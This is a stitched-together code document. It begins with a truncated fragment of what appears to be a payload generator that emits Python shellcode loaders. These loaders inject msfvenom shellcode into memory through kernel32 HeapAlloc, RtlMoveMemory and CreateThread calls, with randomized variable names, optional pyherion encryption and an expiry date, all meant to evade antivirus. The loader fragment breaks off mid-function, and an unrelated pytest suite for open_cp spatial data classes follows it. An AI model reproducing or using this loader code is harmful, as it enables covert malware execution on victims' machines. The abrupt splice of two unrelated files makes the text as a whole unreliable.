                PayloadCode += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
                PayloadCode += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
                PayloadCode += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

                if self.required_options["USE_PYHERION"][0].lower() == "y":
                    PayloadCode = encryption.pyherion(PayloadCode)

                return PayloadCode

            else:

                # Get our current date and add number of days to the date
                todaysdate = date.today()
                expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0])))

                # Generate Shellcode Using msfvenom
                Shellcode = self.shellcode.generate(self.required_options)

                # Generate Random Variable Names
                ShellcodeVariableName = helpers.randomString()
                RandPtr = helpers.randomString()
                RandBuf = helpers.randomString()
                RandHt = helpers.randomString()
                HeapVar = helpers.randomString()
                RandToday = helpers.randomString()
                RandExpire = helpers.randomString()
                randctypes = helpers.randomString()

                # Create Payload code
                PayloadCode = 'import ctypes as ' + randctypes + '\n'
                PayloadCode += 'from datetime import datetime\n'
                PayloadCode += 'from datetime import date\n\n'
                PayloadCode += RandToday + ' = datetime.now()\n'
                PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n'
                PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n'
                PayloadCode += '\t' + ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n'
                PayloadCode += '\t' + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
                PayloadCode += '\t' + RandPtr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
                PayloadCode += '\t' + RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n'
                PayloadCode += '\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
                PayloadCode += '\t' + RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
                PayloadCode += '\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

                if self.required_options["USE_PYHERION"][0].lower() == "y":
                    PayloadCode = encryption.pyherion(PayloadCode)

                return PayloadCode

        else:
            if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x":

                # Generate Shellcode Using msfvenom
                Shellcode = self.shellcode.generate(self.required_options)

                # Generate Random Variable Names
                RandShellcode = helpers.randomString()
                RandReverseShell = helpers.randomString()
                RandMemoryShell = helpers.randomString()

                PayloadCode = 'from ctypes import *\n'
                PayloadCode += RandReverseShell + ' = \"' + Shellcode + '\"\n'
                PayloadCode += RandMemoryShell + ' = create_string_buffer(' + RandReverseShell + ', len(' + RandReverseShell + '))\n'
                PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n'
                PayloadCode += RandShellcode + '()'

                if self.required_options["USE_PYHERION"][0].lower() == "y":
                    PayloadCode = encryption.pyherion(PayloadCode)

                return PayloadCode

            else:
                # Get our current date and add number of days to the date
                todaysdate = date.today()
                expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0])))

                # Generate Shellcode Using msfvenom
                Shellcode = self.shellcode.generate(self.required_options)

                # Generate Random Variable Names
                RandShellcode = helpers.randomString()
                RandReverseShell = helpers.randomString()
                RandMemoryShell = helpers.randomString()
                RandToday = helpers.randomString()
                RandExpire = helpers.randomString()

                PayloadCode = 'from ctypes import *\n'
                PayloadCode += 'from datetime import datetime\n'
                PayloadCode += 'from datetime import date\n\n'
                PayloadCode += RandToday + ' = datetime.now()\n'
                PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n'
                PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n'
                PayloadCode += '\t' + RandReverseShell + ' = \"' + Shellcode + '\"\n'
                PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(' + RandReverseShell + ', len(' + RandReverseShell + '))\n'
                PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n'


import pytest
from open_cp.data import Point, RectangularRegion, TimedPoints
import open_cp.data
import datetime

import numpy as np

def test_Point_getters():
    p = Point(5, 8)
    assert p.x == 5
    assert p.y == 8
    assert p.__repr__() == "Point(5,8)"

def test_Point_add():
    p = Point(2, 3)
    pp = p + Point(7, 10)
    assert pp.x == 9
    assert pp.y == 13

def test_Point_immutable():
    p = Point(1, 2)
    with pytest.raises(AttributeError):
        p.x = 5
    with pytest.raises(AttributeError):
        p.y = 5

def test_Point_iterable():
    def func(x, y):
        assert x == 5
        assert y == 7
    p = Point(5, 7)
    func(*p)

def test_Point_indexing():
    p = Point(3,7)
    assert p[0] == 3
    assert p[1] == 7
    with pytest.raises(ValueError):
        p[2]

def test_MaskedGrid():
    mg = open_cp.data.MaskedGrid(10, 10, 0, 0, [[True, False], [False, False]])
    assert not mg.is_valid(0,0)
    assert mg.is_valid(1,0)
    assert mg.is_valid(0,1)
    assert mg.is_valid(1,1)

    with pytest.raises(ValueError):
        mg.is_valid(-1, 0)
    with pytest.raises(ValueError):
        mg.is_valid(0, -1)
    with pytest.raises(ValueError):
        mg.is_valid(2, 0)
    with pytest.raises(ValueError):
        mg.is_valid(0, 2)

def test_MaskedGrid_from_Grid():
    grid = open_cp.data.Grid(10, 15, 5, 7)
    mg = open_cp.data.MaskedGrid.from_grid(grid, [[False, True], [False, False]])

    assert mg.is_valid(0,0)
    assert not mg.is_valid(1,0)
    assert mg.is_valid(0,1)
    assert mg.is_valid(1,1)
    assert mg.xextent == 2
    assert mg.yextent == 2

    assert mg.region().xmin == 5
    assert mg.region().xmax == 25
    assert mg.region().ymin == 7
    assert mg.region().ymax == 37

def test_RectangluarRegion_getters():
    r = RectangularRegion(5, 8, 10, 14)
    assert r.xmin == 5
    assert r.xmax == 8
    assert r.ymin == 10
    assert r.ymax == 14
    assert r.min.x == 5
    assert r.min.y == 10
    assert r.max.x == 8
    assert r.max.y == 14
    assert r.__repr__() == "RectangularRegion( (5,10) -> (8,14) )"

def test_RectangluarRegion_add():
    r = RectangularRegion(5, 8, 10, 14)
    addition = Point(3, 7)
    rr = r + addition
    assert rr.xmin == 8
    assert rr.xmax == 11
    assert rr.ymin == 17
    assert rr.ymax == 21

def test_RectangluarRegion_to_tuple():
    r = RectangularRegion(xmin=5, ymin=8, xmax=10, ymax=12)
    assert tuple(r) == (5, 8, 10, 12)

def test_RectangluarRegion_aspect():
    assert( RectangularRegion(xmin=5, xmax=5, ymin=1, ymax=10).aspect_ratio is np.nan )
    assert( RectangularRegion(xmin=5, xmax=10, ymin=1, ymax=10).aspect_ratio == pytest.approx(9/5) )

def test_RectangluarRegion_grid_size():
    region = RectangularRegion(xmin=4, xmax=50, ymin=1, ymax=10)
    assert( region.grid_size(10) == (5, 1) )
    assert( region.grid_size(10, 5) == (5, 2) )

from datetime import datetime as dt
import numpy.testing as npt

# Test builder object pattern doesn't quite work in Python, but nevermind...
def a_valid_TimedPoints():
    timestamps = [dt(2017,3,20,12,30), dt(2017,3,20,14,30), dt(2017,3,21,0)]
    coords = [ [1, 5, 8], [7, 10, 3] ]
    return TimedPoints(timestamps, coords)

def test_TimedPoints_builds():
    tp = a_valid_TimedPoints()
    assert tp.timestamps[0] == np.datetime64("2017-03-20T12:30")
    assert tp.timestamps[1] == np.datetime64("2017-03-20T14:30")
    assert tp.timestamps[2] == np.datetime64("2017-03-21")
    npt.assert_array_almost_equal(tp.coords[:,0], [1, 7])
    npt.assert_array_almost_equal(tp.coords[:,1], [5, 10])
    npt.assert_array_almost_equal(tp.coords[:,2], [8, 3])
    assert len(tp.timestamps) == 3
    assert tp.coords.shape == (2, 3)

def test_coords_properties():
    tp = a_valid_TimedPoints()
    npt.assert_allclose( tp.xcoords, [1, 5, 8] )
    npt.assert_allclose( tp.ycoords, [7, 10, 3] )

def test_accessor():
    tp = a_valid_TimedPoints()
    assert( tp[0][0] == np.datetime64("2017-03-20T12:30") )
    assert( tp[0][1] == pytest.approx(1) )
    assert( tp[0][2] == pytest.approx(7) )
    assert( tp[2][0] == np.datetime64("2017-03-21") )
    assert( tp[2][1] == pytest.approx(8) )
    assert( tp[2][2] == pytest.approx(3) )

def test_time_deltas():
    tp = a_valid_TimedPoints()
    npt.assert_allclose(tp.time_deltas(), [0, 120, 12*60-30])

def test_accessor_index():
    tp = a_valid_TimedPoints()
    tp1 = tp[ [2,1] ]
    np.testing.assert_equal( tp1.timestamps, [np.datetime64("2017-03-20T14:30"), np.datetime64("2017-03-21")])
    np.testing.assert_allclose( tp1.xcoords, [5, 8])
    np.testing.assert_allclose( tp1.ycoords, [10, 3])

    tp2 = tp[ tp.xcoords < 5 ]
    np.testing.assert_equal( tp2.timestamps, [np.datetime64("2017-03-20T12:30")] )
    np.testing.assert_allclose( tp2.coords, [[1], [7]])

def test_bounding_box():
    tp = a_valid_TimedPoints()
    box = tp.bounding_box
    assert( box.xmin == pytest.approx(1) )
    assert( box.xmax == pytest.approx(8) )
    assert( box.ymin == pytest.approx(3) )
    assert( box.ymax == pytest.approx(10) )
    assert( tp.time_range == (np.datetime64("2017-03-20T12:30"), np.datetime64("2017-03-21")) )

def test_TimedPoints_must_be_time_ordered():
    timestamps = [dt(2017,3,20,14,30), dt(2017,3,20,12,30)]
    coords = [ [1, 5], [7, 10] ]
    with pytest.raises(ValueError):
        TimedPoints(timestamps, coords)

def test_TimedPoints_from_coords():
    times = [np.datetime64("2016-10-11T12:30"), np.datetime64("2016-05-07T00:00"),
             np.datetime64("2017-01-02T14:00")]
    tp = TimedPoints.from_coords(times, [3, 1, 4], [1, 5, 9])
    assert tp.timestamps[0] == np.datetime64("2016-05-07T00:00")
    assert tp.timestamps[1] == np.datetime64("2016-10-11T12:30")
    assert tp.timestamps[2] == np.datetime64("2017-01-02T14:00")
    npt.assert_array_almost_equal(tp.coords[0], [1, 3, 4])
    npt.assert_array_almost_equal(tp.coords[1], [5, 1, 9])
    assert len(tp.timestamps) == 3
    assert tp.coords.shape == (2, 3)

def test_TimedPoints_events_before():
    tp2 = a_valid_TimedPoints()
    tp = tp2.events_before(dt(2017,3,20,14,0))
    assert tp.timestamps[0] == np.datetime64("2017-03-20T12:30")
    assert len(tp.timestamps) == 1
    assert( tp.coords[0] == pytest.approx(1) )
    assert( tp.coords[1] == pytest.approx(7) )
    assert tp.coords.shape == (2, 1)
    assert tp.number_data_points == 1

def test_TimedPoints_events_before_empty():
    tp2 = a_valid_TimedPoints()
    tp = tp2.events_before(dt(2017,3,20,12,0))
    assert( tp.empty )

def test_TimedPoints_to_time_space_coords():
    tp = a_valid_TimedPoints()
    points = tp.to_time_space_coords()
    np.testing.assert_allclose(points[1], tp.xcoords)
    np.testing.assert_allclose(points[2], tp.ycoords)
    np.testing.assert_allclose(points[0], [0, 120.0, 11.5*60])

def test_TimedPoints_times_datetime():
    tp = a_valid_TimedPoints()
    dates = tp.times_datetime()
    assert( dates[0] == dt(2017,3,20,12,30) )
    assert( dates[1] == dt(2017,3,20,14,30) )
    assert( dates[2] == dt(2017,3,21,0) )

def test_order_by_times():